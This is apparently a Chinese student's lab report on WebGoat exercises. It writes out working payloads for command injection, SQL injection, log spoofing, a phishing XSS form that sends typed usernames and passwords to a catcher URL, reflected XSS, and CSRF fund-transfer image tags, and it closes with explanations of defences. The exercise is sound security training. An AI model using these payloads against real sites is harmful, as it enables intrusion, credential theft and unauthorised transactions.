实验完成情况
- 共完成11题
准备工作
- 在浏览器输入
localhost:8080/WebGoat
打开webgoat,左侧选择题目
- 右键选择
Inspect Element
开始调试
Injection Flaws
1. Command Injection
- 右键开始调试,在页面下拉菜单的源代码中添加
"& netstat -an & ipconfig"
- 选中我们改动的那一项,点击
View
查看结果
2. Numberic SQL Injection
- 将语句改为
SELECT * FROM weather_data WHERE station = 101 OR 1=1
,并在station的value
处做相应修改
- 可以查看各地天气了
3. Log Spoofing
在
username
一栏输入:5224【学号】%0d%0aLogin Succeeded for username: admin
查看结果
4. LAB:SQL Injection
更改密码栏maxlength为100.
选择用户
Neville (admin)
登陆,在密码栏输入' or 1=1 --
5. Database Backdoors
- 输入101查看个人信息
- 输入简单语句
101; update employee set salary=5224
进行攻击,这里没有做太多操作
6. Blind Numberic SQL Injection
- 利用类似于
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 );
的语句缩小范围,最终确定pin值
Cross-Site Scripting(XSS)
1. Phishing with XSS
- 在Search栏输入表单代码
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 可以看到出现了相应表单,可以输入用户名密码
- 点击登陆,可以接收到输入的用户名和密码
2. Reflected XSS Attacks
- 在最后一个对话框输入
<script>alert('I am 5224')</script>
【或其他警告】
- 弹出相应对话框
CSRF
1. Cross Site Request Forgery (CSRF)
- 在Message对话框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=288&menu=900&transferFunds=500" width="1" height="1">
【注意Screen
和menu
的值应为自己页面右侧窗口出的数值】
2. CSRF Prompt By-Pass
- 在Message对话框中输入
<img src="attack?Screen=226&menu=900&transferFunds=5000"
width="1" height="1">
<img src="attack?Screen=226&menu=900&transferFunds=confirm"
width="1" height="1">
基础问题回答
1. SQL注入攻击原理,如何防御
攻击原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入一般流程是:
寻找到SQL注入的位置
判断服务器类型和后台数据库类型
针对不通的服务器和数据库特点进行SQL注入攻击
- 防御措施:采用预编译语句,使用正则表达式过滤传入的参数,字符串过滤,jsp中调用该函数检查是否包函非法字符等。总体来说一定要注意规范代码,尽量减少有漏洞的地方。
2. XSS攻击的原理,如何防御
攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
防御措施:HttpOnly防止劫取Cookie;输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码等。
3. CSRF攻击原理,如何防御
攻击原理:CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。
防御措施:验证HTTP Referer字段,在请求地址中添加token并验证,在HTTP头中自定义属性并验证等。
实验感想
有意思是真的有意思,我的kali全屏之后整个高斯模糊、我也是真的服气